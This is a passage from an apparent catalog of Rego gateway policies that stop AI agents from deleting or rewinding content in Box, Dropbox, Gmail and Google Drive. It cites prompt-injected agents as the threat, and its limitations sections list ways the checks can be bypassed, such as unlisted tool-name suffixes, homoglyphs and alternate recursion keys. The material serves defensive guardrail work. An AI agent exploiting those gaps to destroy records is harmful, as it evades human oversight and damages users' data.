"recursive": true } } } } ``` `allow = false`, reason explains that recursive deletion is blocked for every caller and points to the Box web app. ## Composition Single-purpose: this policy only freezes destruction. Useful companions for the same self-hosted deployment: - A Box **external-sharing guard** (deny/downgrade `open` shared links and external collaborations) — destruction and exfiltration are separate jobs. - An **upload/version guard** denying `box_file_upload_tool` overwrites outside an agent-workspace subtree (silent full-content overwrite is destruction this policy does not cover). - An egress **PII/PHI redaction** policy on Box read tools. ## Known limitations - **Group names are placeholders — replace `box-admins` with your IdP's group name at import time.** The exemption reads `input.subject.claims.groups` (array of strings) and fails closed: no IdP, no claim, or a non-array `groups` value means nobody is exempt. - **Community-server dialect only.** On official `mcp.box.com` deployments these tool names never appear, so the policy is a no-op there (the official server is verified delete-free, so nothing is lost). - **Shared-link removal is treated as destruction of sharing state**, not of content. If your workflow legitimately unshares links via agents, exempt those callers through the group or remove those suffixes. - The `box_shared_link_folder_remove_tool` and `box_shared_link_web_link_remove_tool` names follow the module's documented `file`/`folder`/`web_link` mirror pattern but were **not individually verified** against a live `tools/list`; confirm with the dump-input technique. - **Recursion detection is hardened but denylist-shaped.** The policy treats a folder delete as recursive when `recursive` or `is_recursive` holds `true`, any non-zero number, or a truthy string (`true`/`t`/`yes`/`y`/`on`/`1`, case-insensitive), so no alternate key, numeric flag, or string-coerced value bypasses the unconditional block — including for `box-admins`. If your fork accepts a different recursion flag (e.g. `deep`, `cascade`) or a truthy encoding outside that set, add it to `is_recursive_value` / `recursive_requested`; verify the exact argument with the dump-input technique. - **Overwrites and retention shortening are out of scope.** `box_file_upload_tool` version overwrites and `box_file_retention_date_set_tool` (which can move a retention date) are not blocked — only the clear tool is. Pair with an upload guard if you need overwrite protection. - Trash purge/emptying is not exposed by the community server's documented tool set; if your fork adds one, add its suffix to `destructive_suffixes`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package box.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Destructive tool suffixes in the box-community/mcp-server-box dialect # (`box___tool`). The gateway prefixes tool names with the # configured MCP server name (e.g. `box-mcp-box_file_delete_tool`), so we # match on the suffix to stay portable. The official mcp.box.com server has # no tools matching these suffixes — this policy is a no-op there. destructive_suffixes := [ # File deletion (trash-recoverable, but agent deletion is out of policy) "box_file_delete_tool", # Folder deletion; recursive == true is denied unconditionally below "box_folder_delete_tool", # Collaboration revocation — destroys sharing state "box_collaboration_delete_tool", # Shared-link removal (file + folder/web-link mirrors) — destroys sharing state "box_shared_link_file_remove_tool", "box_shared_link_folder_remove_tool", "box_shared_link_web_link_remove_tool", # Retention tampering — clears a file's retention date "box_file_retention_date_clear_tool", ] # Case-insensitive tool name; missing fields resolve to "" (never matches). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Tool arguments; {} when payload/args are absent so lookups fail closed. args := object.get(object.get(input, "payload", {}), "args", {}) is_destructive_tool if { some suffix in destructive_suffixes endswith(tool_name, suffix) } # A value that requests recursion. Fail closed on the most destructive op: # every encoding the server's bool parser coerces to true counts. Absent, # false, 0, and any falsey/unrecognized value do not. is_recursive_value(v) if v == true # Any non-zero number. The server coerces a numeric flag (`recursive: 1`) to # true, so a JSON number must not slip past into the admin-exemption branch. is_recursive_value(v) if { is_number(v) v != 0 } # Truthy string tokens — the full set the server's bool parser (pydantic) # coerces to true: "true"/"t"/"yes"/"y"/"on"/"1", case-insensitive, with # surrounding whitespace trimmed. Falsey tokens ("false"/"f"/"no"/"n"/"off"/ # "0"/"") and any other string are treated as non-recursive (the server # rejects unrecognized strings, so they cannot delete either). is_recursive_value(v) if { is_string(v) lower(trim_space(v)) in {"true", "t", "yes", "y", "on", "1"} } # Recursion is requested under either the documented `recursive` key or the # `is_recursive` alias the same server family uses for folder listing # (`box_folder_items_list_tool`). We check both so an alternate-key or # string-coerced call cannot slip a recursive delete past the unconditional # block below. recursive_requested if { some key in {"recursive", "is_recursive"} is_recursive_value(object.get(args, key, false)) } # The single most destructive call in either Box server: recursive folder # delete. Denied for everyone, including box-admins. is_recursive_folder_delete if { endswith(tool_name, "box_folder_delete_tool") recursive_requested } # Placeholder IdP group — replace `box-admins` with your IdP's group name at # import time. Read fail-closed: missing subject/claims/groups → [] → no # exemption. A non-array `groups` value also fails closed (no iteration). caller_is_box_admin if { groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) some group in groups lower(group) == "box-admins" } # Allow any tool that isn't on the destructive list. allow if { not is_destructive_tool } # Allow non-recursive destructive calls only for box-admins members. # Recursive folder deletion has no exemption — not even for box-admins. allow if { is_destructive_tool not is_recursive_folder_delete caller_is_box_admin } reasons contains "Recursive folder deletion is the most destructive Box operation and is blocked for every caller, including box-admins. Box trash makes deletions recoverable, but bulk deletion by an agent is out of policy. If the folder tree must go, delete it manually in the Box web app so a human owns the decision. Contact your InfoSec team if this block is a false positive." if { is_recursive_folder_delete } reasons contains "Deleting Box files, folders, or collaborations, removing shared links, and clearing retention dates are restricted to the box-admins group. Box trash makes deletions recoverable, but content destruction and retention tampering by an agent are out of policy. Perform the action manually in the Box web app, or ask a box-admins member. Contact your InfoSec team if this block is a false positive." if { is_destructive_tool not is_recursive_folder_delete not caller_is_box_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Dropbox Operations URL: https://www.intentbasedpolicy.com/policies/dropbox/freeze-destructive-ops App(s): dropbox | Direction: ingress | Bundles: soc2 | Package: dropbox.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: dropbox, freeze-destructive-ops, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/dropbox/freeze-destructive-ops/policy.md # dropbox / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny destructive tools, allow everything else **Package:** `dropbox.ingress.freeze_destructive_ops` ## What it does Freezes the irreversible and bulk-mutation Dropbox tools on the agent channel, regardless of path. At ingress it denies, by tool-name suffix: - **Deletion** — `Delete` (official `mcp.dropbox.com`), `safe_delete_item` (`dbx-mcp-server`), `dropbox_delete` (`ngs`). A prompt-injected or mistaken agent can use these to mass-delete files; Dropbox moves deletes to *Deleted files*, recoverable **only within the plan's retention window**, so a bulk agent delete can become permanent. - **Folder rewind** — `RestoreFolder` (official). Rewinds an entire folder to an earlier point in time, silently reverting every file in a shared tree. - **Revision resurrection** — `RestoreFileRevision` (official), `dropbox_restore_file` (`ngs`). Resurfaces content that was deliberately removed by restoring an older file revision. All other tools pass through unchanged. There is **no identity carve-out by default**: destructive storage actions belong to a human working in the Dropbox UI, not to an autonomous agent. `Move` (rename/relocate) is intentionally **not** frozen here — renames and moves are common and legitimate; scope them with the companion path-fencing and role-gate policies instead. The deny reasons tell the caller to perform the deletion or restore manually and note the retention-window caveat on deletes. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — anti-destruction/alteration of records: an agent cannot delete files or roll a folder/file back to an earlier state on the MCP path, supporting the record-preservation obligation for financial and audit evidence stored in Dropbox; **§802 / Rule 2-06** — supports retention and legal-hold posture by keeping agent-initiated deletion off evidence paths. - **SOC 2 PI1.5** — supports integrity of stored records by preventing agent-initiated destruction and silent rollback of stored content. - **HIPAA §164.312(c)** — integrity (anti-alteration/destruction of ePHI) on the agent channel; **§164.530(c)** — administrative safeguard limiting who can destroy or roll back records containing PHI. - **GDPR Art. 5(1)(d)** — accuracy: supports the anti-mass-corruption posture by stopping an errant or injected agent from bulk-erasing or silently rewinding personal-data records. ## Tool name matching Matches case-insensitively on `input.resource.name` as an exact name or by a `-`/`_`-separated suffix, so the policy tolerates any gateway server-name prefix (e.g. `dropbox-Delete`, `dbx-mcp-safe_delete_item`). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. Frozen suffixes: - **Deletion:** `delete` (official `Delete`; also catches `dropbox_delete` via the `_delete` boundary), `safe_delete_item` (dbx), `dropbox_delete` (ngs, listed explicitly). - **Folder rewind:** `restorefolder` (official `RestoreFolder`). - **Revision resurrection:** `restorefilerevision` (official `RestoreFileRevision`), `dropbox_restore_file` (ngs). The read-only `ListRestoreEvents` tool (official) is deliberately **not** matched — it enumerates restore history and mutates nothing. `Move`, `Copy`, `CreateFolder`, `CreateFile`, share-link and file-request tools, and every read tool pass through. ## Argument shape This policy decides purely on the **tool name** — it inspects no arguments, so a call with missing, empty, or malformed `args` is still denied on name alone (fail-closed for destructive tools). Because Dropbox does not publish MCP JSON schemas, name-only matching also sidesteps the unverified argument-key problem entirely. `input.resource.name` is read via `object.get`, defaulting to `""` (which matches nothing) when absent. ## Examples ### Allowed — read tool, untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-GetFileContent", "type": "tool" }, "payload": { "name": "dropbox-GetFileContent", "args": { "path": "/Projects/roadmap.pdf" } } } } ``` `allow = true`, no reason. ### Allowed — Move (rename/relocate is not frozen here) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-Move", "type": "tool" }, "payload": { "name": "dropbox-Move", "args": { "from_path": "/a/x.txt", "to_path": "/b/x.txt" } } } } ``` `allow = true` — moves are gated by the path-fencing and role-gate policies, not frozen. ### Denied — file deletion ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-Delete", "type": "tool" }, "payload": { "name": "dropbox-Delete", "args": { "path": "/Finance/2026/ledger.xlsx" } } } } ``` `allow = false`, reason points to a manual delete in the Dropbox UI and the retention-window caveat. ### Denied — folder rewind ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-RestoreFolder", "type": "tool" }, "payload": { "name": "dropbox-RestoreFolder", "args": { "path": "/Shared/Team", "rev": "2026-01-01T00:00:00Z" } } } } ``` `allow = false`, reason explains folder rewind / revision restore is frozen on the agent channel. ## Composition Single-purpose: this policy only freezes destruction and rollback. Useful companions for Dropbox: - [`fence-sensitive-paths`](../fence-sensitive-paths/policy.md) — role-gates reads/listings/moves/copies/search of sensitive path prefixes (this policy leaves `Move`/`Copy` to it). - [`guard-share-links-external`](../guard-share-links-external/policy.md) — stops the exfiltration surface (public links, file requests) that destruction does not cover. - An egress PII/PHI redaction policy on `GetFileContent` / `download_file` and `Search` responses. ## Known limitations - **No identity carve-out.** Every caller is denied the frozen tools; there is no break-glass group by design. If your workflow needs an admin bypass, add an `allow if` branch gated on `input.subject.claims.groups` (read fail-closed via `object.get` chains) — see the sibling `box/freeze-destructive-ops` policy for that pattern. Group names would be placeholders to replace at import time. - **Community-server coverage is dialect-specific.** Only the tool names listed are matched. The `dbx-mcp-server` exposes only `safe_delete_item` (no restore tool) and `ngs` exposes `dropbox_delete` + `dropbox_restore_file`; folder rewind (`RestoreFolder`) exists **only** on the official server. If your fork names a delete/restore tool differently, add its suffix to `delete_suffixes` or `restore_suffixes` (the two arrays at the top of the Rego); confirm names with the dump-input technique against a live `tools/list`. - **Matching is a full-token suffix, not a substring.** A frozen suffix only fires when the tool name *ends* in it (as an exact name or after a `-`/`_` boundary), so a destructive tool with a trailing qualifier after the verb is **not** caught by the generic `delete` suffix — e.g. `delete_batch` (the Dropbox HTTP API has a real `/files/delete_batch`), `delete_file`, `delete_folder`, or `PermanentlyDelete` would pass through. This is deliberate — it keeps the generic `delete` token from over-matching benign names like `undelete` — but it means the suffix list is an allowlist of exact endings, **not** a semantic "anything that deletes" filter. None of the three dialects in scope expose such a tool today (official `Delete`, dbx `safe_delete_item`, ngs `dropbox_delete` are all matched); if a fork or a future server surfaces a batch/qualified variant, add its full suffix to `delete_suffixes`/`restore_suffixes`, or pair this policy with a `default-deny-unknown-tools` (PF-28) allowlist so drift fails closed instead of open. - **`Move` is intentionally out of scope.** A folder-level `Move` can restructure a shared tree, but renames/moves are routine, so they are left to the path-fencing and role-gate policies rather than frozen here. Attach those alongside this policy if you need move containment. - **Overwrites are not deletion.** Re-uploading over an existing file (`CreateFile` / `upload_file` / `dropbox_upload`) replaces content without a delete call and is **not** blocked here. Pair with an upload/version guard if you need overwrite protection; Dropbox keeps prior revisions, but the agent could then use a (blocked) restore tool to recover — hence freezing restore too. - **Name-only matching.** The policy does not inspect arguments, so it cannot distinguish, say, a single-file delete from a bulk one — all deletes are frozen. This is deliberate: agent-initiated deletion has no routine Cowork use. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package dropbox.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # Destructive / bulk-mutation tool suffixes across the three Dropbox dialects. # The gateway prefixes tool names with the configured MCP server name # (separator not standardized), so we match the exact name or a `-`/`_`- # separated suffix, case-insensitively, to stay portable. delete_suffixes := [ # Official mcp.dropbox.com `Delete`. Also catches ngs `dropbox_delete` # via the `_delete` boundary; listed there too for clarity. "delete", # dbx-mcp-server community soft-delete "safe_delete_item", # ngs community delete (also matched by `delete` above) "dropbox_delete", ] # Folder rewind + file-revision resurrection. `RestoreFolder` rewinds a whole # folder to a point in time; `RestoreFileRevision` / `dropbox_restore_file` # resurface a previous revision of a single file. restore_suffixes := [ "restorefolder", "restorefilerevision", "dropbox_restore_file", ] # Case-insensitive tool name; missing fields resolve to "" (never matches). tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Match the exact tool name, or a `-`/`_`-separated suffix so any gateway # server-name prefix is tolerated (e.g. `dropbox-Delete`, `dbx-mcp-dropbox_delete`). tool_matches(suffix) if tool_name == suffix tool_matches(suffix) if endswith(tool_name, sprintf("-%s", [suffix])) tool_matches(suffix) if endswith(tool_name, sprintf("_%s", [suffix])) is_delete_tool if { some suffix in delete_suffixes tool_matches(suffix) } is_restore_tool if { some suffix in restore_suffixes tool_matches(suffix) } is_destructive_tool if is_delete_tool is_destructive_tool if is_restore_tool # Allow any tool that isn't on the frozen list. There is no identity carve-out. allow if { not is_destructive_tool } reasons contains "Deleting Dropbox files through an agent is frozen. Delete the item yourself in the Dropbox web or desktop app so a human owns the decision. Deleted files are recoverable only within your plan's retention window, so a mistaken or bulk agent delete may be permanent. Contact your InfoSec team if this block is a false positive." if { is_delete_tool } reasons contains "Rewinding a Dropbox folder to an earlier point in time, or restoring a previous file revision, is frozen on the agent channel — it can silently revert an entire shared folder or resurface content that was deliberately removed. Perform the restore yourself in the Dropbox web app so a human owns the decision. Contact your InfoSec team if this block is a false positive." if { is_restore_tool } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Gmail Operations URL: https://www.intentbasedpolicy.com/policies/gmail/freeze-destructive-ops App(s): gmail | Direction: ingress | Bundles: soc2 | Package: gmail.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: gmail, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/gmail/freeze-destructive-ops/policy.md # gmail / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `gmail.ingress.freeze_destructive_ops` ## What it does Denies the irreversible destruction surface that community Gmail MCP servers expose — permanent email deletion, label deletion, and filter deletion — for **every** caller. All other tool calls pass through unchanged. The community servers are where the risk lives. GongRzhe/Gmail-MCP-Server ships `delete_email` and `batch_delete_emails` (both **permanent** — they bypass the trash entirely, and the batch variant destroys up to 50 messages per call), plus `delete_label` and `delete_filter`. taylorwilsdon/google_workspace_mcp folds destruction into `manage_gmail_label` and `manage_gmail_filter` behind an `action` argument — this policy denies those two tools **only** when `action` is `delete`, so their `list`/`get`/`create`/`update` actions pass through for other policies to govern. There is deliberately **no identity exemption**: a mailbox record must survive agent error and prompt injection regardless of who is driving the agent. The deny reason steers the agent to the reversible alternatives — archive via label modification (`modify_email` / `batch_modify_gmail_message_labels`) or move the message to trash — and points legitimate deletion needs at InfoSec, outside the agent channel. The official Google remote Gmail MCP server (the surface behind Anthropic's Claude Gmail connector) has **no delete tools of any kind** — no message, label, or filter deletion. On that surface this policy matches nothing and is inert **by design**; that is the expected state, not a coverage gap. Attach it anyway: it costs nothing there and becomes load-bearing the moment a tenant swaps in a community server, which is exactly the migration that silently adds permanent-delete primitives. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy messages, labels, and filters. - **HIPAA §164.312(c)** — supports the integrity standard (protection of ePHI in patient email from improper destruction); **§164.530(c)** — supports privacy safeguards over records held in mailboxes. - **GDPR Art. 5(1)(d)** — supports accuracy by preventing mass-deletion/corruption of personal-data records through the agent channel (one `batch_delete_emails` call can permanently destroy 50 messages). ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-delete_email` for a server named `gmail`), and that prefix is deployment-specific, so the policy matches case-insensitively by suffix: - `*delete_email` — GongRzhe single-message permanent delete - `*batch_delete_emails` — GongRzhe batch permanent delete (up to 50 IDs per call) - `*delete_label` — GongRzhe label deletion - `*delete_filter` — GongRzhe filter deletion - `*manage_gmail_label` — taylorwilsdon, denied **only** when `args.action == "delete"` - `*manage_gmail_filter` — taylorwilsdon, denied **only** when `args.action == "delete"` Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. If the community server you use exposes a different delete-tool name, add its suffix to the matching rules in `policy.md`. ## Argument shape Only the two `manage_gmail_*` tools have their arguments inspected, and every read goes through `object.get`: - `args.action` is read as `object.get(object.get(input.payload, "args", {}), "action", "")`, then trimmed and lowercased before comparison, so `Delete`/`DELETE` and whitespace-padded variants (` delete `, `delete\n`) cannot slip past a server that strips/normalizes the action before dispatch. - A `manage_gmail_*` call with **no `args` object or no `action` key is not treated as a delete** and passes through — the server itself will reject the malformed call; this policy only freezes confirmed deletions. - A non-string `action` value (array, object, number) does not compare equal to `"delete"` and passes through; the upstream server's schema validation rejects such calls anyway. The plain suffix-matched tools (`delete_email`, `batch_delete_emails`, `delete_label`, `delete_filter`) are denied on tool name alone — no argument can make a permanent delete safe. ## Examples ### Allowed — archiving via label modification (the recommended alternative) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-modify_email", "type": "tool" }, "payload": { "name": "gmail-modify_email", "args": { "messageId": "18f3a2", "removeLabelIds": ["INBOX"] } } } } ``` `allow = true`, no reason. ### Denied — batch permanent deletion ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-batch_delete_emails", "type": "tool" }, "payload": { "name": "gmail-batch_delete_emails", "args": { "messageIds": ["18f3a2", "18f3a3"], "batchSize": 50 } } } } ``` `allow = false`, `reason = "Permanent email deletion is blocked (...)"`. ### Allowed — manage_gmail_label with a non-delete action ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-manage_gmail_label", "type": "tool" }, "payload": { "name": "gmail-manage_gmail_label", "args": { "action": "create", "name": "audit-hold" } } } } ``` `allow = true` — create/update/list/get actions are left for other policies to govern. ## Composition This policy is single-purpose: it freezes confirmed deletion operations and nothing else. Pair it with: - a **filter-creation guard** on `create_filter` / `create_filter_from_template` / `manage_gmail_filter` with `create`/`update` actions — filter *creation* is the auto-forward persistence/exfiltration primitive, and it is intentionally out of scope here, - an **external-send guard** on `send_email` / `send_gmail_message` — externally visible and unrecallable, a different risk family, - an **egress redaction** policy on the read surface (`get_thread` / `read_email` / `get_gmail_*_content*`) for regulated data leaving the mailbox. ## Known limitations - **Inert on the official Google/Claude connector surface — by design.** The official remote Gmail MCP server exposes no delete tools, so this policy never fires there. That is the documented, expected state: the policy exists to hold the line when a community server (with its delete primitives) is introduced. - **No identity exemption — by design.** There is no admin group that may delete through the agent channel; records must survive agent error and prompt injection for every caller. Legitimate deletions belong outside the agent channel (Gmail UI or Google Admin console) via your InfoSec team. If your organization truly requires an agent-channel break-glass, add a `groups`-gated `allow` branch per the identity-placeholder conventions — but understand it reopens the injection surface this policy closes. - **Trash is a delayed-deletion path, not permanence.** Moving a message to trash (via label modification) starts Gmail's ~30-day auto-purge clock. The policy guarantees a recovery window, not indefinite retention — pair with Google Vault or retention holds for true immutability. - **Destruction by overwrite/renaming is not covered.** `update_label` and `manage_gmail_label` with `action: "update"` can rename labels and disturb mailbox organization without deleting anything; that belongs to a label-governance companion policy, not this one. - **`manage_gmail_*` action vocabulary is source-verified as of July 2026.** The `action` argument key and its `delete` value are verified from taylorwilsdon's `gmail_tools.py`. If a future version adds another destructive action value (e.g. `purge`), it would pass this policy until the matcher is extended. - **Malformed `manage_gmail_*` calls fail open here.** A call with a missing or non-string `action` passes the policy and is left for the server's own schema validation to reject. This is intentional (`object.get` defaults), so a benign call without an `action` argument is never misclassified as a delete. - **Action normalization covers case + surrounding whitespace only.** The `action` value is `trim_space`-d and lowercased, which defeats casing (`DELETE`) and padding (` delete `, `delete\n`). It does **not** normalize Unicode homoglyphs, zero-width characters, or interior whitespace (e.g. `de lete`, or a fullwidth `delete`). Such a value would pass this policy — but it would also fail the upstream server's own exact-string dispatch, so no deletion occurs. If a future server variant does fuzzy/normalized action matching, extend `requested_action` accordingly. - **Suffix matching assumes the three verified snake_case vocabularies.** All destructive tool names in the landscape note (GongRzhe `delete_email`/`batch_delete_emails`/`delete_label`/`delete_filter`, taylorwilsdon `manage_gmail_*`) are snake_case, and the `endswith` suffixes match them. A community server that renamed a hard-delete tool to camelCase (`batchDeleteEmails`) or another shape would not match — add its suffix per the Tool name matching section before relying on the policy against that server. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gmail.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # --- Destructive tool matching --- # Only community Gmail MCP servers expose deletion; the official Google/Claude # connector has no delete tools at all, so this policy is inert there by # design. The gateway prepends the configured MCP server name (e.g. `gmail-`), # so match by suffix, case-insensitively. Verify the exact names your gateway # sends with the dump-input debug technique. # GongRzhe delete_email — permanent single-message deletion, bypasses trash. is_message_hard_delete if { endswith(lower(input.resource.name), "delete_email") } # GongRzhe batch_delete_emails — permanent deletion of up to 50 IDs per call. is_message_hard_delete if { endswith(lower(input.resource.name), "batch_delete_emails") } # GongRzhe delete_label — destroys the label across the whole mailbox. is_label_delete if { endswith(lower(input.resource.name), "delete_label") } # taylorwilsdon manage_gmail_label — destructive only when action == "delete"; # list/get/create/update actions pass through for other policies to govern. is_label_delete if { endswith(lower(input.resource.name), "manage_gmail_label") requested_action == "delete" } # GongRzhe delete_filter — silently removes mail-routing rules. is_filter_delete if { endswith(lower(input.resource.name), "delete_filter") } # taylorwilsdon manage_gmail_filter — destructive only when action == "delete". is_filter_delete if { endswith(lower(input.resource.name), "manage_gmail_filter") requested_action == "delete" } # Safe read of the manage_* `action` argument: a missing args object or a # missing action key yields "" (never treated as a delete). The value is # trimmed and lowercased before comparison, so `Delete`, `DELETE`, or a # whitespace-padded ` delete `/`delete\n` cannot slip past a server that # strips/normalizes the action before dispatch. A non-string action leaves # requested_action undefined, which also means "not a delete" — the upstream # server's schema validation rejects such calls. requested_action := lower(trim_space(action_value)) if { action_value := object.get(object.get(input.payload, "args", {}), "action", "") is_string(action_value) } is_destructive_call if is_message_hard_delete is_destructive_call if is_label_delete is_destructive_call if is_filter_delete # Allow every tool call that is not a confirmed deletion. allow if { not is_destructive_call } reasons contains "Permanent email deletion is blocked: delete_email and batch_delete_emails bypass the trash and cannot be undone, and records must survive agent error and prompt injection. Archive by modifying labels (modify_email / batch_modify_gmail_message_labels) or move the message to trash instead. Contact your InfoSec team if a record legitimately must be destroyed." if { is_message_hard_delete } reasons contains "Deleting Gmail labels is blocked: removing a label silently strips it from every message that carries it and breaks retention and archiving workflows. Keep the label; create/update/list label actions remain available. Contact your InfoSec team if a label legitimately must be removed." if { is_label_delete } reasons contains "Deleting Gmail filters is blocked: filters control mail routing and their removal is silent and hard to audit. Leave the filter in place; list/get/create/update filter actions remain available. Contact your InfoSec team if a filter legitimately must be removed." if { is_filter_delete } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Google Drive Operations URL: https://www.intentbasedpolicy.com/policies/google-drive/freeze-destructive-ops App(s): google-drive | Direction: ingress | Bundles: soc2 | Package: google_drive.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: google-drive, freeze-destructive-ops, integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/freeze-destructive-ops/policy.md # google-drive / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on matched delete tools, allow otherwise **Package:** `google_drive.ingress.freeze_destructive_ops` ## What it does Blocks Google Drive delete operations issued by agents. Any tool call whose name ends in one of the destructive suffixes exposed by the `piotr-agier/google-drive-mcp` community server — `deleteItem`, `deleteSheet`, `deleteRange`, `deleteGoogleSlide`, `deleteComment` — is denied unless the caller's IdP `groups` claim contains `drive-admins`. All other tool calls pass through unchanged. The check runs at ingress, before the call reaches the MCP server, so a blocked deletion never executes. This matters most for `deleteRange`, `deleteSheet`, and `deleteGoogleSlide`: deletions *inside* a document are easy to miss and effectively irreversible once they age past version history, unlike whole-file deletes which sit in trash for ~30 days. The exemption fails closed: if `input.subject`, `claims`, or the `groups` claim is missing (no IdP configured, audience mismatch, claim not issued), the caller is treated as a non-admin and the deletion is denied. The same holds for a malformed `groups` claim — a string, object/map, number, or null instead of a JSON array of strings: the policy requires an array before it will honor any group membership, so no non-array shape can grant the exemption. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's ability to destroy them. - **HIPAA §164.312(c)** — supports the integrity standard (protection of ePHI from improper alteration or destruction) for PHI stored in Drive; **§164.530(c)** — supports privacy safeguards over PHI records. - **GDPR Art. 5(1)(d)** — supports accuracy by preventing agent-driven mass corruption/destruction of personal-data records. ## Tool name matching The policy matches destructive tools case-insensitively by suffix: - `*deleteitem` — files and folders - `*deletesheet` — a sheet within a spreadsheet - `*deleterange` — a cell range within a sheet - `*deletegoogleslide` — a slide within a presentation - `*deletecomment` — a comment thread These are the verified destructive tool names of the `piotr-agier/google-drive-mcp` server (v2.2.0). The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `google-drive-mcp-deleteItem`), and that prefix is not standardized, so the policy matches on the suffix to stay portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. The Google official Drive MCP server and the Anthropic-hosted Claude connector expose **no** delete, move, rename, or permission-editing tools at all — this policy chiefly hardens deployments of community servers with a broad write surface. It is safe to attach in front of any Drive server: on servers with no delete tools it simply never fires. ## Argument shape None assumed. The decision is made entirely on the tool name and the caller's identity claims; `input.payload.args` is not inspected. ## Examples ### Allowed — read tool passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-drive-mcp-readGoogleDoc", "type": "tool" }, "payload": { "name": "google-drive-mcp-readGoogleDoc", "args": { "documentId": "1AbC" } } } } ``` `allow = true`, no reason. ### Allowed — delete by a drive-admins member ```jsonc { "input": { "action": "tool_pre_invoke", "subject": { "sub": "google-apps|ops@example.com", "claims": { "groups": ["drive-admins"] } }, "resource": { "name": "google-drive-mcp-deleteItem", "type": "tool" }, "payload": { "name": "google-drive-mcp-deleteItem", "args": { "itemId": "1AbC" } } } } ``` `allow = true`, no reason. ### Denied — delete by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "subject": { "sub": "google-apps|analyst@example.com", "claims": { "groups": ["engineering"] } }, "resource": { "name": "google-drive-mcp-deleteRange", "type": "tool" }, "payload": { "name": "google-drive-mcp-deleteRange", "args": { "spreadsheetId": "1AbC", "range": "Sheet1!A1:C10" } } } } ``` `allow = false`, `reason = "Deleting Google Drive content from an agent is blocked. ..."`. ## Composition This policy is single-purpose: it freezes deletes only. Useful companions: - **`apps/google-drive/role-gate-writes`** — gates the non-destructive write surface (create/upload/update/move/rename) by IdP group; together the two give a full write-side posture where deletes are frozen and other writes are role-gated. - An egress PII/secret redaction policy on content-returning read tools for the read side. ## Known limitations - **Group name is a placeholder.** Replace `drive-admins` with your IdP's real group name at import time, and confirm your IdP actually emits a `groups` claim in the access token (many require explicit configuration). - **Trash-recoverable file deletes are still denied — by design.** `deleteItem` sends files to trash where they are recoverable for ~30 days, but the policy blocks it anyway: a mass-delete still disrupts collaborators, and trash can be emptied. The deny reason routes the agent to a human. - **`deleteCalendarEvent` is out of scope.** The same piotr-agier server also exposes `deleteCalendarEvent`; that tool belongs to the `google-calendar` catalog directory, not this policy. - **Suffix matching can over-match.** A hypothetical tool named e.g. `undeleteItem` (a restore) would also end with `deleteitem` and be denied. No current Drive server exposes such a name; if yours does, switch the affected entry to an exact-name match. - **Only these five names are covered, and only as exact trailing tokens.** Because matching is `endswith`, a delete tool bypasses if its name ends in a *different* token (a differently-verbed `delete_file`) **or** carries a trailing qualifier after the token (a hard-delete named `deleteItemPermanently` does not end in `deleteitem`, so it is not matched). Trailing whitespace, a newline, or other control-character padding on the tool name (`deleteItem\n`, `deleteItem `) is the same class of trailing qualifier and likewise defeats `endswith`. No current Drive server (piotr-agier v2.2.0, isaacphi, Google official, Anthropic connector) exposes such a name, and MCP dispatches tools by their exact registered name — so a padded or requalified name does not resolve to the real destructive tool at the server and is not a live bypass. If your server does expose such a name, add the exact suffix to `destructive_suffixes` in `policy.md` for your environment. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; 